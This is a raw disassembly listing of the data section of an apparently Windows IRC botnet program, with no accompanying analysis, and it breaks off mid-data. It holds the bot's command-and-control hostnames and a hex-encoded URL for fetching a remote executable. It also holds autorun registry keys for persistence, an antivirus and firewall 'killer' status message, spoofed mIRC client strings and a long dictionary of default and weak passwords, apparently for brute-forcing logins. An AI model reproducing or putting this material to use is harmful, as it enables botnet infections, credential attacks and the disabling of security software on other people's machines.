a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
		dd 5 dup(1B08B482h), 5 dup(39E99AE5h), 5 dup(4A6DC14h)
		dd 7Ah dup(0)
		dd 4A6DC14h, 0
		dd 1B08B482h, 15h dup(0)
		dd 39E99AE5h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aQsfpo		db 'qsfpo',0            ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
		align 4
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 75h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 70h,	64h, 65h
		dd 6E697774h, 78652E64h, 65h
dword_42911C	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSerscAgts	db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD4	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B5C	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
